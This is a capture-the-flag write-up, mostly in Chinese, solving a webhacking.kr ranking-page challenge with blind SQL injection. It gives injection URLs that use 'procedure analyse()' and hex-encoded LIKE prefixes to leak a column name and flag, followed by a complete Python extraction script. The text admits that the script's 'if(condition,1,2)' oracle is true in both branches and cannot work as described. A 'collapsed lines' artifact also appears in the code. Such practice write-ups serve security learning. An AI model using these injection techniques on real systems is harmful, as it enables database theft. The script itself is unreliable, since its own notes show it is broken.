Challenge
Extract the flag from the ranking query.
通过排行榜查询提取 flag。
https://webhacking.kr/challenge/web-31/Analysis
rank.php 将 score 拼入查询,并根据查询结果显示两个可区分的排名行。先把结果限制到第三列,再调用 procedure analyse(),可以得到保存 flag 的列名:
/challenge/web-31/rank.php?score=2147483647%20limit%202,1%20procedure%20analyse()当前部署返回的列名是:
p4ssw0rd_1123581321接着把 score 设为条件表达式。条件为真时选择已知分数 1 的行,条件为假时选择 2 的行;页面中的两行内容就是 boolean oracle。substr 在当前过滤下不可用,所以用 left。候选前缀转成十六进制后放入 LIKE 0x<hex-prefix>,既避免引号,也避免候选字符串被重新解释。
Solution
单次字符探测的请求结构如下,其中 N 和 <hex-prefix> 必须替换为实际值:
https://webhacking.kr/challenge/web-31/rank.php?score=1%20and%20left(p4ssw0rd_1123581321%2CN)%20like%200x<hex-prefix>其中 N 是当前前缀长度,<hex-prefix> 是 FLAG{ 加上已恢复字符的 ASCII 十六进制,例如首个前缀 FLAG{F 应使用:
464c41477b46脚本以 Piterpan 区分查询结果,运行时从环境变量读取 session cookie。须先验证条件为真、为假时的结果确实可区分。脚本中的 1 and if(condition,1,2) 在数值布尔上下文里对两种分支都为真,无法实现上文所述的 1/2 分流。LIKE 的 _ 也是通配符,且大小写是否可区分取决于 collation。
import osimport stringimport requests
BASE_URL = os.environ.get("WEBHACKING_BASE", "https://webhacking.kr")ENDPOINT = f"{BASE_URL}/challenge/web-31/rank.php"SESSION_ID = os.environ.get("CHALLENGE_SESSION", "")COLUMN = "p4ssw0rd_1123581321"TRUE_MARKER = "Piterpan"MAX_LENGTH = 64
# LIKE 的十六进制前缀不需要引号;% 不放入候选集,避免它成为 LIKE 通配符。CHARACTERS = ( string.ascii_letters + string.digits + "!\\\"#$&'()*+,-./:;<=>?@[\\]^_`{|}~")
def make_session(): session = requests.Session()41 collapsed lines
session.headers.update({"User-Agent": "old-55-writeup/1.0"}) if SESSION_ID: session.cookies.set("PHPSESSID", SESSION_ID, domain="webhacking.kr", path="/") return session
def query(session, expression): response = session.get( ENDPOINT, params={"score": expression}, timeout=20, ) response.raise_for_status() return response.text
def oracle(session, condition): # score=1 is the row identified by TRUE_MARKER; score=2 is the false row. expression = f"1 and if({condition},1,2)" return TRUE_MARKER in query(session, expression)
def discover_length(session): for length in range(1, MAX_LENGTH + 1): if oracle(session, f"length({COLUMN})={length}"): return length raise RuntimeError("flag length was not found")
def recover_flag(session, length): flag = "" for position in range(1, length + 1): for character in CHARACTERS: candidate = flag + character hex_prefix = candidate.encode("ascii").hex() condition = f"left({COLUMN},{position}) like 0x{hex_prefix}" if oracle(session, condition): flag = candidate print(flag) break else: raise RuntimeError(f"no character matched at position {position}") return flag
def main(): session = make_session() length = discover_length(session) print(f"length={length}") flag = recover_flag(session, length) print(f"flag={flag}")
if __name__ == "__main__": main()